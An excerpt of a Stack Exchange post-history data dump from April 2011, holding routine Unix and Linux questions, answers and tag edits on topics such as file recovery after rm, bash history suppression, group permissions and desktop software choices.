  <row Id="26389" PostHistoryTypeId="5" PostId="10911" RevisionGUID="32d09ced-13d6-45aa-b274-b32cebec52ea" CreationDate="2011-04-08T16:42:05.687" UserId="5666" Comment="added 25 characters in body; added 75 characters in body; added 2 characters in body" Text="Modify your shell script to enter the php scripts directory before executing it, and then return back.&#xD;&#xA;&#xD;&#xA;    cur=$(pwd)&#xD;&#xA;    cd /var/www/html &amp;&amp; php ./createview_customer.php&#xD;&#xA;    cd &quot;$cur&quot;&#xD;&#xA;&#xD;&#xA;or better modify your php script to find its directory first and open the file in that dir&#xD;&#xA;&#xD;&#xA;    $dirpath = dirname(__FILE__);&#xD;&#xA;    $handle = fopen(&quot;$dirpath/available_data&quot;, &quot;w&quot;);" />
  <row Id="26390" PostHistoryTypeId="2" PostId="10912" RevisionGUID="be3d392e-3761-48f2-ab0e-2a60ea8a38e8" CreationDate="2011-04-08T17:08:25.687" UserId="5430" Text="I have recently messed up my Debian Squeeze installation. (&lt;a href=&quot;http://unix.stackexchange.com/questions/10817/lsmod-grep-audio-doesnt-return-anything/&quot;&gt;click for more&lt;/a&gt;). I fixed audio but my battery state indicator and touchpad isn't working. In my attempt to fix this I observed that Kernel version of my system is different from the build os version. This is the out put of `Xorg :1 -configure`   &#xD;&#xA;&lt;pre&gt;root@debian-box:/boot# Xorg :1 -configure&#xD;&#xA;&#xD;&#xA;X.Org X Server 1.7.7&#xD;&#xA;Release Date: 2010-05-04&#xD;&#xA;X Protocol Version 11, Revision 0&#xD;&#xA;Build Operating System: Linux 2.6.32.29-dsa-ia32 i686 Debian&#xD;&#xA;Current Operating System: Linux debian-box 2.6.32-5-686 #1 SMP Tue Mar 8 21:36:00 UTC 2011 i686&#xD;&#xA;Kernel command line: BOOT_IMAGE=/boot/vmlinuz-2.6.32-5-686 root=UUID=df9afc0c-27af-42b2-95d7-a7944f3bac70 ro quiet&#xD;&#xA;Build Date: 19 February 2011  02:37:36PM&#xD;&#xA;xorg-server 2:1.7.7-13 (Cyril Brulebois &lt;kibi@debian.org&gt;) &#xD;&#xA;...&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="26391" PostHistoryTypeId="1" PostId="10912" RevisionGUID="be3d392e-3761-48f2-ab0e-2a60ea8a38e8" CreationDate="2011-04-08T17:08:25.687" UserId="5430" Text="Build Operating System version is different from Kernel version. Can this cause trouble?" />
  <row Id="26392" PostHistoryTypeId="3" PostId="10912" RevisionGUID="be3d392e-3761-48f2-ab0e-2a60ea8a38e8" CreationDate="2011-04-08T17:08:25.687" UserId="5430" Text="édebianà" />
  <row Id="26393" PostHistoryTypeId="2" PostId="10913" RevisionGUID="cb9037d9-1ecc-4fdb-8843-cf2b7ad8eeae" CreationDate="2011-04-08T17:28:55.570" UserId="5884" Text=" - simple, user-friendly = as Google search web page, one editbox, one button, nothing to explain, everybody grasps an idea in 1ms&#xD;&#xA; - fast = finding files and directories by filenames, not by content (!)&#xD;&#xA; - cute = it should be usable by weekend-users, so icons for files found, won't hurt&#xD;&#xA;&#xD;&#xA;The closest project I found is Beagle (*), but it is dead now (it was canceled in 2009). It is said, Tracker is replacement of Beagle, but when I tried the GUI frontend... in short, disaster.&#xD;&#xA;&#xD;&#xA;(*) but I am not sure if disabling in-file searching is possible.&#xD;&#xA;&#xD;&#xA;I tried also Recoll, it is full-search program, the GUI has too many widgets, far for simplicity.&#xD;&#xA;&#xD;&#xA;I can write such program on my own (Ligthppd+php script, that's all) but before I start, maybe you know about such tool ready to use?&#xD;&#xA;&#xD;&#xA;Thank you in advance." />
  <row Id="26394" PostHistoryTypeId="1" PostId="10913" RevisionGUID="cb9037d9-1ecc-4fdb-8843-cf2b7ad8eeae" CreationDate="2011-04-08T17:28:55.570" UserId="5884" Text="Simple, user-friendly GUI file finder?" />
  <row Id="26395" PostHistoryTypeId="3" PostId="10913" RevisionGUID="cb9037d9-1ecc-4fdb-8843-cf2b7ad8eeae" CreationDate="2011-04-08T17:28:55.570" UserId="5884" Text="éfilesàédesktopàésearchà" />
  <row Id="26396" PostHistoryTypeId="2" PostId="10914" RevisionGUID="6188863b-1c65-4a61-8fc6-5302b06ed7cd" CreationDate="2011-04-08T17:32:31.997" UserId="3154" Text="Regarding undoing the effects of rm:&#xD;&#xA;&#xD;&#xA;Given that most filesystems only remove the reference to the data and indicate that the blocks as free, you could try to locate your data reading directly from the device. With a bit of luck the blocks containing your file(s) haven't been claimed for something else.&#xD;&#xA;&#xD;&#xA;This assumes you have something fairly unique to look for, that you have root on the system and I'm guessing piecing together anything that spans more than one filesysteme block (probably 4k) might end up quite laborious if the filesystem didn't manage to put the file(s) in contiguous blocks.&#xD;&#xA;&#xD;&#xA;I have successfully recovered the contents of a couple of plain-text files by running strings on the device the filesystem was on, and using grep looking for something from those files with a large context (-C). (And shortly after that incident, the company decided to spend some resources on implementing backups)" />
  <row Id="26397" PostHistoryTypeId="25" PostId="10909" RevisionGUID="f31858cb-33e0-4d13-90c0-df23cd42f857" CreationDate="2011-04-08T18:09:03.973" Comment="http://twitter.com/#!/StackUnix/status/56418294042865664" />
  <row Id="26398" PostHistoryTypeId="2" PostId="10915" RevisionGUID="625b750d-7efd-47ec-b060-bb32ad1eb403" CreationDate="2011-04-08T18:12:14.643" UserId="1170" Text="[Catfish](http://software.twotoasts.de/index.php?/pages/catfish_summary.html) is a frontend for `locate`, among others. I think it satisfies all of your requirements, except for the ultra-simple part." />
  <row Id="26399" PostHistoryTypeId="2" PostId="10916" RevisionGUID="3cb50eda-5cbf-47f8-8f0e-69315168dc55" CreationDate="2011-04-08T18:21:17.813" UserId="5477" Text="For ext3/ext4, you can try recovering files using tools like [extundelete][1] or ext3grep. Note that these are using heuristics to recover the files from the metadata left behind, so full recovery is not guaranteed - it's more of a last-chance bet (as those require that some traces of the files remain in the journal, and that the blocks weren't overwritten yet).&#xD;&#xA;&#xD;&#xA;So, for all intents and purposes, files removed with `rm` are gone - you could *try* such necromancy as extundelete offers, but don't depend on it; better take out your latest backups.&#xD;&#xA;&#xD;&#xA;  [1]: http://extundelete.sourceforge.net/" />
  <row Id="26400" PostHistoryTypeId="2" PostId="10917" RevisionGUID="49bb6fdc-ed95-4f00-a66a-06ef4f3e8319" CreationDate="2011-04-08T19:03:22.940" UserId="6116" Text="running linux mint 9&#xD;&#xA;&#xD;&#xA;I installed argyll and gnome-color-manager but neither of those have a gui. I need to configure my monitor colors. Right now the white looks a little yellow etc. and I want to do photo editing in Gimp but I can't start until I get my monitor icc collaborated. " />
  <row Id="26401" PostHistoryTypeId="1" PostId="10917" RevisionGUID="49bb6fdc-ed95-4f00-a66a-06ef4f3e8319" CreationDate="2011-04-08T19:03:22.940" UserId="6116" Text="Need color configurator for linux mint" />
  <row Id="26402" PostHistoryTypeId="3" PostId="10917" RevisionGUID="49bb6fdc-ed95-4f00-a66a-06ef4f3e8319" CreationDate="2011-04-08T19:03:22.940" UserId="6116" Text="écolorsàécollaborationà" />
  <row Id="26403" PostHistoryTypeId="5" PostId="10917" RevisionGUID="e99ff1af-93fe-4cbe-9f8a-bf28b9d52bd5" CreationDate="2011-04-08T19:21:44.937" UserId="885" Comment="improved English" Text="I'm running Linux Mint 9.&#xD;&#xA;&#xD;&#xA;I installed [Argyll](http://www.argyllcms.com/) and gnome-color-manager but neither of those have a GUI. I need to configure my monitor colors. Right now the white looks a little yellow etc. and I want to do photo editing in Gimp. How can I get my monitor ICC calibrated?" />
  <row Id="26404" PostHistoryTypeId="4" PostId="10917" RevisionGUID="e99ff1af-93fe-4cbe-9f8a-bf28b9d52bd5" CreationDate="2011-04-08T19:21:44.937" UserId="885" Comment="improved English" Text="Color calibration on Linux Mint" />
  <row Id="26405" PostHistoryTypeId="6" PostId="10917" RevisionGUID="e99ff1af-93fe-4cbe-9f8a-bf28b9d52bd5" CreationDate="2011-04-08T19:21:44.937" UserId="885" Comment="improved English" Text="écolorsàémonitorà" />
  <row Id="26406" PostHistoryTypeId="6" PostId="10883" RevisionGUID="08adeb06-1d43-480e-a25f-990964982c65" CreationDate="2011-04-08T19:23:05.467" UserId="885" Comment="edited tags" Text="écommandölineàérmàétrashà" />
  <row Id="26407" PostHistoryTypeId="6" PostId="10913" RevisionGUID="453e39cc-2358-4486-9bcf-ef01a5ada187" CreationDate="2011-04-08T19:24:43.393" UserId="885" Comment="edited tags" Text="ésoftwareörecàéfilesàédesktopàésearchà" />
  <row Id="26408" PostHistoryTypeId="2" PostId="10918" RevisionGUID="01c0cfc3-0e88-4eac-81d9-b9365265d4cf" CreationDate="2011-04-08T19:28:15.280" UserId="6411" Text="Hi, I have been looking for the past few days, I need these features:&#xD;&#xA;&#xD;&#xA;+ Docking a window on any side of a desktop expands it to fit half/a quarter of the space&#xD;&#xA;+ Resizing and moving windows must be very easy&#xD;&#xA;+ Search tool that searches folders *and* content of files in a matter of seconds.&#xD;&#xA;+ Multi-monitor support&#xD;&#xA;+ Middle clicking has to work, for example in a browser for faster scrolling&#xD;&#xA;&#xD;&#xA;I tried the live cd of Gnome 3 today, but apparently my radeon 4850 is not supported. Resizing windows from the sides is very bad in there. I have to aim for several seconds. The same is true for Ubuntu 10.10, (which I just tried via Wubi)&#xD;&#xA;They both don't support middle clicking either. Other than that, Ubuntu was actually quite nice, pretty comparable to Windows 7.&#xD;&#xA;&#xD;&#xA;Any suggestions? Did anyone try Ubuntu 11, does it have improvements in these areas? Unfortunately reviewers /youtube videos don't go into usability issues." />
  <row Id="26409" PostHistoryTypeId="1" PostId="10918" RevisionGUID="01c0cfc3-0e88-4eac-81d9-b9365265d4cf" CreationDate="2011-04-08T19:28:15.280" UserId="6411" Text="Looking for a Linux distro with specific window related features" />
  <row Id="26410" PostHistoryTypeId="3" PostId="10918" RevisionGUID="01c0cfc3-0e88-4eac-81d9-b9365265d4cf" CreationDate="2011-04-08T19:28:15.280" UserId="6411" Text="élinuxàéubuntuàégnomeà" />
  <row Id="26411" PostHistoryTypeId="2" PostId="10919" RevisionGUID="5736b6b8-d67e-44ca-95f0-00827fe9f73c" CreationDate="2011-04-08T19:30:46.277" UserId="885" Text="No, there's absolutely no reason why you should build X (or most programs) on the same operating system that you'll run it on. It's often more difficult, occasionally even impossible, to build software for a different processor architecture (amd64/arm/ppc/x86/…). Building for a different operating system is easier, and the precise kernel version is completely irrelevant (unless you're building kernel modules).&#xD;&#xA;&#xD;&#xA;*(Then you might wonder why the information is included… I wonder too. I suspect it's a roundabout way of providing information about what compiler version and development packages were used for building, by indicating a probable distribution and version indication.)*" />
  <row Id="26412" PostHistoryTypeId="6" PostId="10912" RevisionGUID="18141f3a-b6cd-43ee-ac58-1909c70fa363" CreationDate="2011-04-08T19:31:03.343" UserId="885" Comment="edited tags" Text="écompilingàécrossöcompilationà" />
  <row Id="26413" PostHistoryTypeId="2" PostId="10920" RevisionGUID="001fcafd-aaf4-4b0d-83f6-98729fd080d0" CreationDate="2011-04-08T19:32:24.297" UserId="2567" Text="You can install any windowmanager on more or less any distribution.&#xD;&#xA;&#xD;&#xA;1. Find a distribution that has the hardware support you need&#xD;&#xA;2. install and configure either kde4, gnome3, xfce4 to do what you what it to do&#xD;&#xA;&#xD;&#xA;The Linux world is not as black and white as Windows and Mac, after you install the the base system you can spend a lifetime configure the graphics to look exactly like you want them to. All of the big windowmanagers has skin support that can more or less change how it behaves.&#xD;&#xA;&#xD;&#xA;So go crazy and see if you can find anything you like." />
  <row Id="26414" PostHistoryTypeId="6" PostId="10909" RevisionGUID="36810e17-e6fb-4c65-87f4-869bc63155d0" CreationDate="2011-04-08T19:33:42.797" UserId="885" Comment="edited tags" Text="éshellàédirectoryàéphpà" />
  <row Id="26415" PostHistoryTypeId="5" PostId="10910" RevisionGUID="eabb2687-6581-45a9-a83c-74c355305c6b" CreationDate="2011-04-08T19:35:43.310" UserId="885" Comment="edited body; edited tags" Text="I've got mostly Ubuntu servers, but have a need for 2 FreeBSD boxes. On all of the Ubuntu systems I've gotten extremely used to having Byobu on top of GNU Screen. I've been trying to figure out how to get it installed on the FreeBSD boxes from the source tarball, but run into problems at every turn.&#xD;&#xA;&#xD;&#xA;I've got everything listed in the README installed (screen, python-newt, and gsed). But I'm still not able to run it properly. It will multiplex the screen just fine, but the bottom line that displays system status and context information just says `Invalid Message (magic 0x00000000000)` and byobu-config says that the snack module is not installed, which I can't seem to find.&#xD;&#xA;&#xD;&#xA;Anyone have any ideas or pointers?" />
  <row Id="26416" PostHistoryTypeId="6" PostId="10910" RevisionGUID="eabb2687-6581-45a9-a83c-74c355305c6b" CreationDate="2011-04-08T19:35:43.310" UserId="885" Comment="edited body; edited tags" Text="éfreebsdàécompilingàébyobuà" />
  <row Id="26417" PostHistoryTypeId="6" PostId="10918" RevisionGUID="e574e841-8a96-4246-ac51-d95ffdebc10e" CreationDate="2011-04-08T19:47:43.817" UserId="885" Comment="edited tags" Text="élinuxàésoftwareörecàédistributionöchoiceàédesktopöenvironmentà" />
  <row Id="26418" PostHistoryTypeId="2" PostId="10921" RevisionGUID="34c896d0-e545-4b75-a5f1-22cdca9c83ae" CreationDate="2011-04-08T19:48:38.187" UserId="6407" Text="Ok, I've fixed those problems:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;linked /usr/local/bin/bash to /bin/bash&#xD;&#xA;&#xD;&#xA;linked /usr/local/bin/byobu-config to /usr/bin/byobu-config&#xD;&#xA;&#xD;&#xA;linked /usr/local/bin/byobu-status to /usr/bin/byobu-status&#xD;&#xA;&#xD;&#xA;Reinstalled newt with: WITH_PYTHON=true" />
  <row Id="26419" PostHistoryTypeId="2" PostId="10922" RevisionGUID="ce132e34-178b-42cc-a151-75ab176f8ad8" CreationDate="2011-04-08T19:51:09.667" UserId="5614" Text="Is there a way to temporarily suspend history tracking in bash, so as to enter a sort of &quot;incognito&quot; mode? I'm entering stuff into my terminal that I don't want recorded, sensitive financial info. " />
  <row Id="26420" PostHistoryTypeId="1" PostId="10922" RevisionGUID="ce132e34-178b-42cc-a151-75ab176f8ad8" CreationDate="2011-04-08T19:51:09.667" UserId="5614" Text="Temporarily suspend bash_history on a given shell?" />
  <row Id="26421" PostHistoryTypeId="3" PostId="10922" RevisionGUID="ce132e34-178b-42cc-a151-75ab176f8ad8" CreationDate="2011-04-08T19:51:09.667" UserId="5614" Text="ébashà" />
  <row Id="26422" PostHistoryTypeId="2" PostId="10923" RevisionGUID="8c09d22f-d907-486e-98b5-8398c49b0e46" CreationDate="2011-04-08T19:53:18.980" UserId="1338" Text="This should be what you're looking for:&#xD;&#xA;&#xD;&#xA;    unset HISTFILE&#xD;&#xA;&#xD;&#xA;###From `man bash`###&#xD;&#xA;&#xD;&#xA;&gt; If HISTFILE is unset, or if the&#xD;&#xA;&gt; history file is unwritable, the&#xD;&#xA;&gt; history is not saved." />
  <row Id="26423" PostHistoryTypeId="5" PostId="10921" RevisionGUID="43291d10-274c-4d97-94b2-c6afbc44aece" CreationDate="2011-04-08T19:53:42.147" UserId="6407" Comment="added 22 characters in body" Text="Ok, I've fixed those problems:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;linked /usr/local/bin/bash to /bin/bash&#xD;&#xA;&#xD;&#xA;linked /usr/local/bin/byobu-config to /usr/bin/byobu-config&#xD;&#xA;&#xD;&#xA;linked /usr/local/bin/byobu-status to /usr/bin/byobu-status&#xD;&#xA;&#xD;&#xA;Reinstalled newt from ports collection with: WITH_PYTHON=true" />
  <row Id="26424" PostHistoryTypeId="6" PostId="8383" RevisionGUID="50b0b588-250b-41f4-9d52-d1a9131eaab1" CreationDate="2011-04-08T19:54:09.993" UserId="885" Comment="edited tags" Text="éfileösharingàévirtualboxà" />
  <row Id="26425" PostHistoryTypeId="6" PostId="10887" RevisionGUID="bd507d4c-b728-4f0a-b944-307dc29cd7fc" CreationDate="2011-04-08T19:54:20.943" UserId="885" Comment="edited tags" Text="éproxyàéhttpàésslà" />
  <row Id="26426" PostHistoryTypeId="5" PostId="10923" RevisionGUID="d63824ff-a4d3-4999-8ef2-538193faa005" CreationDate="2011-04-08T19:59:05.140" UserId="1338" Comment="added 174 characters in body; edited body" Text="This should be what you're looking for:&#xD;&#xA;&#xD;&#xA;    unset HISTFILE&#xD;&#xA;&#xD;&#xA;###From `man bash`###&#xD;&#xA;&#xD;&#xA;&gt; If HISTFILE is unset, or if the&#xD;&#xA;&gt; history file is unwritable, the&#xD;&#xA;&gt; history is not saved.&#xD;&#xA;&#xD;&#xA;Alternatively, if you want to toggle it off and then back on again, it may be easier to do:&#xD;&#xA;&#xD;&#xA;###Turn Off###&#xD;&#xA;&#xD;&#xA;    set +o history&#xD;&#xA;&#xD;&#xA;###Turn on###&#xD;&#xA;&#xD;&#xA;    set -o history" />
  <row Id="26427" PostHistoryTypeId="2" PostId="10924" RevisionGUID="544e2323-990c-4a89-8c3a-897e1868e741" CreationDate="2011-04-08T19:59:53.557" UserId="5666" Text="Using bash, set `HISTCONTROL=&quot;ignorespace&quot;` and precede with space any command you do not wish to be recorded in history." />
  <row Id="26428" PostHistoryTypeId="2" PostId="10925" RevisionGUID="0e5cfa5c-8b03-4907-ab2f-cac1f1d07648" CreationDate="2011-04-08T20:05:40.033" UserId="885" Text="Make sure that `HISTCONTROL` contains `ignorespace`. You'll probably want to add `HISTCONTROL=ignorespace` (or `HISTCONTROL=ignoredups:ignorespace` or something) to your `~/.bashrc`. Then any command line that begins with a space is omitted from the history.&#xD;&#xA;&#xD;&#xA;Another possibility is to start a new bash session that doesn't save its history.&#xD;&#xA;&#xD;&#xA;    $ bash&#xD;&#xA;    $ unset HISTFILE&#xD;&#xA;    $ sooper-sekret-command&#xD;&#xA;    $ exit&#xD;&#xA;    $ #back in the parent shell&#xD;&#xA;" />
  <row Id="26429" PostHistoryTypeId="6" PostId="10922" RevisionGUID="bb9bdaa2-3a77-479f-8420-b5c239e05a12" CreationDate="2011-04-08T20:09:01.170" UserId="885" Comment="edited tags" Text="ébashàécommandöhistoryà" />
  <row Id="26430" PostHistoryTypeId="6" PostId="10877" RevisionGUID="c42f5a75-b741-4504-89af-332aaf63a34b" CreationDate="2011-04-08T20:15:18.923" UserId="885" Comment="edited tags" Text="éxorgàéopenbsdàévmwareà" />
  <row Id="26431" PostHistoryTypeId="2" PostId="10926" RevisionGUID="73b7a95c-58b8-4a42-ae05-a8888bc48452" CreationDate="2011-04-08T20:22:59.323" UserId="6413" Text="Hi all.&#xD;&#xA;&#xD;&#xA;On campus, everyone's primary group is `user` and each person is additionally associated to groups depending on the courses he or she is taking, lab he or she works at, etc.&#xD;&#xA;&#xD;&#xA;My coworker and I are members of group `foo`, so we use `newgrp foo` and `umask 7` to ensure our files are accessible to the two of us without granting *everyone* permission. Neither of us minded this.&#xD;&#xA;&#xD;&#xA;However, we now need our `PATH` environment variable to first point to our lab's `bin` folder before the rest in the `PATH`. We thought a simple script would work, but it doesn't as the `PATH`'s contents don't persist after executing `newgrp`:&#xD;&#xA;&#xD;&#xA;    #!/bin/tcsh&#xD;&#xA;    setenv PATH &quot;/path/to/lab/bin:$PATH&quot;&#xD;&#xA;    newgrp foo&#xD;&#xA;&#xD;&#xA;The default shell is `tcsh`. Does anyone have any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="26432" PostHistoryTypeId="1" PostId="10926" RevisionGUID="73b7a95c-58b8-4a42-ae05-a8888bc48452" CreationDate="2011-04-08T20:22:59.323" UserId="6413" Text="Changing group and retaining environment variables" />
  <row Id="26433" PostHistoryTypeId="3" PostId="10926" RevisionGUID="73b7a95c-58b8-4a42-ae05-a8888bc48452" CreationDate="2011-04-08T20:22:59.323" UserId="6413" Text="épermissionsàéenvironmentövariablesàétcshà" />
  <row Id="26435" PostHistoryTypeId="2" PostId="10928" RevisionGUID="93852b28-aa55-4004-a865-455374c9b012" CreationDate="2011-04-08T20:40:17.520" UserId="6299" Text="&#xD;&#xA;thanks for your time. &#xD;&#xA;&#xD;&#xA;i have installed PC-BSD on my laptop. how can install TexLive and set all the environment variables. &#xD;&#xA;&#xD;&#xA;I am an absolutely beginner. So, please explain.&#xD;&#xA;&#xD;&#xA;thanks so much." />
  <row Id="26436" PostHistoryTypeId="1" PostId="10928" RevisionGUID="93852b28-aa55-4004-a865-455374c9b012" CreationDate="2011-04-08T20:40:17.520" UserId="6299" Text="Installing Texlive on PC-BSD" />
  <row Id="26437" PostHistoryTypeId="3" PostId="10928" RevisionGUID="93852b28-aa55-4004-a865-455374c9b012" CreationDate="2011-04-08T20:40:17.520" UserId="6299" Text="éenvironmentövariablesàébsdàélaptopà" />
  <row Id="26438" PostHistoryTypeId="5" PostId="10928" RevisionGUID="4d208455-8d71-455b-bba3-4e6b1ac35349" CreationDate="2011-04-08T20:47:07.143" UserId="6299" Comment="deleted 2 characters in body; edited title" Text="thanks for your time. &#xD;&#xA;&#xD;&#xA;i have installed PC-BSD on my laptop. how can install TexLive and set all the environment variables. &#xD;&#xA;&#xD;&#xA;I am an absolutely beginner. So, please explain.&#xD;&#xA;&#xD;&#xA;thanks so much." />
  <row Id="26439" PostHistoryTypeId="4" PostId="10928" RevisionGUID="4d208455-8d71-455b-bba3-4e6b1ac35349" CreationDate="2011-04-08T20:47:07.143" UserId="6299" Comment="deleted 2 characters in body; edited title" Text="Installing Texlive on PC-BSD 8.2" />
  <row Id="26440" PostHistoryTypeId="5" PostId="10916" RevisionGUID="d3dd2c93-05a6-41aa-b5d5-bbf9eff6085d" CreationDate="2011-04-08T20:52:55.893" UserId="5477" Comment="added 451 characters in body; added 53 characters in body; added 66 characters in body; added 48 characters in body" Text="For ext3/ext4, you can try recovering files using tools like [extundelete][1] or [ext3grep][2], or even go [messing][3] with the low-level structures [manually][4] (not for the faint of heart); for many filesystems, you can try to search for the not-yet-overwritten blocks by certain patterns (e.g. [magicrescue][5] can search for JPEG headers, amongst other things). Note that these are using heuristics to recover the files from the metadata left behind, so full recovery is not guaranteed - it's more of a last-chance bet (as those require that some traces of the files remain in the journal, and that the blocks weren't overwritten yet).&#xD;&#xA;&#xD;&#xA;So, for all intents and purposes, files removed with `rm` are gone - you could *try* such necromancy as these tools offer, but don't depend on it: these are the tools to try when everything else fails. Better dig out your latest backups (you have been making backups, right? Oh well, live and learn...).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://extundelete.sourceforge.net/&#xD;&#xA;  [2]: http://code.google.com/p/ext3grep/&#xD;&#xA;  [3]: http://www.giis.co.in/debugfs.html&#xD;&#xA;  [4]: http://www.xs4all.nl/~carlo17/howto/undelete_ext3.html&#xD;&#xA;  [5]: http://www.irongeek.com/i.php?page=backtrack-3-man/magicrescue" />
  <row Id="26441" PostHistoryTypeId="5" PostId="10928" RevisionGUID="eedf8502-d799-42fc-a1bc-573c2216cb4f" CreationDate="2011-04-08T21:04:47.677" UserId="688" Comment="rm apology; added 2 characters in body" Text="How can I install TexLive on PC-BSD 8.2 and set all the environment variables?" />
  <row Id="26442" PostHistoryTypeId="25" PostId="10922" RevisionGUID="e19bc2b6-0cac-4dc2-ba98-7527418904c0" CreationDate="2011-04-08T21:09:03.917" Comment="http://twitter.com/#!/StackUnix/status/56463591330689024" />
  <row Id="26443" PostHistoryTypeId="2" PostId="10929" RevisionGUID="815af399-5853-4cd7-9dac-3abbf2f47047" CreationDate="2011-04-08T21:10:27.127" UserId="885" Text="Unless you need to type a password when you run `newgrp` (a very rarely used feature), you don't need to use `newgrp` to make files owned by the appropriate group. You can use `chmod` instead. For example, instead of the following workflow:&#xD;&#xA;&#xD;&#xA;    newgrp lab1&#xD;&#xA;    mkdir project1&#xD;&#xA;    $EDITOR project1/file1&#xD;&#xA;&#xD;&#xA;you can do this:&#xD;&#xA;&#xD;&#xA;    mkdir project1&#xD;&#xA;    chgrp lab1 project1&#xD;&#xA;    $EDITOR project1/file1&#xD;&#xA;    chgrp lab1 project1/file1&#xD;&#xA;&#xD;&#xA;On most current unices, either `project1/file1` will already belong to `lab1` like the directory it contains (*BSD), or you can force this behavior (Linux, Solaris, …):&#xD;&#xA;&#xD;&#xA;    mkdir project1&#xD;&#xA;    chgrp lab1 project1&#xD;&#xA;    chmod g+s project1&#xD;&#xA;    $EDITOR project1/file1&#xD;&#xA;&#xD;&#xA;All of this requires that your `umask` be set to 002 or 007.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;It's easier to manage permissions if [access control lists (ACL)](http://en.wikipedia.org/wiki/Access_control_list) are supported. ACL support must be present in the disk filesystem driver and enabled in the mount options, and again for the network filesystem if applicable. ACLs support is not yet generalized, so you might not have it.&#xD;&#xA;&#xD;&#xA;To see if you can use ACLs, on a Linux client, try running&#xD;&#xA;&#xD;&#xA;    touch foo&#xD;&#xA;    setfacl -m user:myfriend:rwx foo&#xD;&#xA;    ls -l foo&#xD;&#xA;&#xD;&#xA;If the permissions of `foo` show up as `-rw-rw-r--+` or similar (with a `+` at the end), ACLs are enabled. If the `setfacl` utility isn't available, then your campus network probably doesn't have ACLs all around.&#xD;&#xA;&#xD;&#xA;If you do have ACLs, then you don't need to have a permissive umask, you can stick with 022 or 077. With ACLs, to set up a group-writable directory (where newly created files will be writable by the group as well), do&#xD;&#xA;&#xD;&#xA;    mkdir project1&#xD;&#xA;    setfacl -m group:lab1:rwx project1; setfacl -d -m group:lab1:rwx project1&#xD;&#xA;&#xD;&#xA;In addition to not requiring a permissive umask, ACLs let you share files between an arbitrary set of users and groups.&#xD;&#xA;" />
  <row Id="26444" PostHistoryTypeId="2" PostId="10930" RevisionGUID="3e52971d-2dc9-4450-b301-8ec6d2e520e9" CreationDate="2011-04-08T21:02:15.957" UserDisplayName="longneck" Text="i have 8 drives in my server connected via PATA. the drives are set for no-spin via jumpers on the drive. hdparm -I says &quot;powers-up in standby; SET FEATURES subcmd spins-up&quot;.&#xD;&#xA;&#xD;&#xA;what command do i use to spin the drives up?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26445" PostHistoryTypeId="1" PostId="10930" RevisionGUID="3e52971d-2dc9-4450-b301-8ec6d2e520e9" CreationDate="2011-04-08T21:02:15.957" UserDisplayName="longneck" Text="spin up drive in linux" />
  <row Id="26446" PostHistoryTypeId="3" PostId="10930" RevisionGUID="3e52971d-2dc9-4450-b301-8ec6d2e520e9" CreationDate="2011-04-08T21:02:15.957" UserDisplayName="longneck" Text="éuntaggedà" />
  <row Id="26447" PostHistoryTypeId="17" PostId="10930" RevisionGUID="589ffa8d-aa7a-49fe-9ee8-4f09eb2d06b9" CreationDate="2011-04-08T21:11:31.367" UserId="-1" Comment="from http://serverfault.com/questions/257535/spin-up-drive-in-linux" Text="" />
  <row Id="26448" PostHistoryTypeId="5" PostId="10930" RevisionGUID="85ad3b9d-ca13-41c7-984f-893a11aff7d2" CreationDate="2011-04-08T21:14:25.130" UserId="885" Comment="added 2 characters in body; edited tags" Text="I have 8 drives in my server connected via PATA. The drives are set for no-spin via jumpers on the drive. `hdparm -I` says&#xD;&#xA;&#xD;&#xA;&gt; powers-up in standby; SET FEATURES subcmd spins-up&#xD;&#xA;&#xD;&#xA;What command do I use to spin the drives up?&#xD;&#xA;" />
  <row Id="26449" PostHistoryTypeId="6" PostId="10930" RevisionGUID="85ad3b9d-ca13-41c7-984f-893a11aff7d2" CreationDate="2011-04-08T21:14:25.130" UserId="885" Comment="added 2 characters in body; edited tags" Text="éhardödiskà" />
  <row Id="26450" PostHistoryTypeId="2" PostId="10931" RevisionGUID="ec432256-64e8-4afc-96df-07d1b684f6f3" CreationDate="2011-04-08T21:23:09.400" UserId="2421" Text="Do you need to spin them up manually?  Normally, that happens automatically when the kernel needs to read or write to the drive.  `hdparm` has options to force a drive to spin down (`-y` and `-Y`), but not to spin up.  I suppose you could use `hdparm -z` to force a re-read of the partition table, but that seems like overkill." />
  <row Id="26451" PostHistoryTypeId="5" PostId="10924" RevisionGUID="1f8140e9-d248-4852-bbc1-b3e90c70f012" CreationDate="2011-04-08T21:24:41.777" UserId="5666" Comment="added 159 characters in body; added 15 characters in body; deleted 11 characters in body; added 1 characters in body; edited body" Text="Using bash, set `HISTCONTROL=&quot;ignorespace&quot;` and precede with space any command you do not wish to be recorded in history. In case you forgot to take any measures, there is also `history -d &lt;number&gt;` for deleting a specific entry or `history -c` for clearing the entire command history." />
  <row Id="26452" PostHistoryTypeId="6" PostId="10893" RevisionGUID="53f0a820-2de1-4dbf-9a06-eac33f4ac8c0" CreationDate="2011-04-08T21:46:20.013" UserId="885" Comment="edited tags" Text="éhistoryà" />
  <row Id="26458" PostHistoryTypeId="18" PostId="10905" RevisionGUID="91eb9776-8b74-4283-a844-a7c067c394a2" CreationDate="2011-04-08T22:13:35.913" UserId="73" Comment="from http://unix.stackexchange.com/questions/10903/what-jobs-can-i-do-with-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="26459" PostHistoryTypeId="18" PostId="10906" RevisionGUID="91eb9776-8b74-4283-a844-a7c067c394a2" CreationDate="2011-04-08T22:13:35.913" UserId="73" Comment="from http://unix.stackexchange.com/questions/10903/what-jobs-can-i-do-with-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="26460" PostHistoryTypeId="18" PostId="10907" RevisionGUID="91eb9776-8b74-4283-a844-a7c067c394a2" CreationDate="2011-04-08T22:13:35.913" UserId="73" Comment="from http://unix.stackexchange.com/questions/10903/what-jobs-can-i-do-with-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
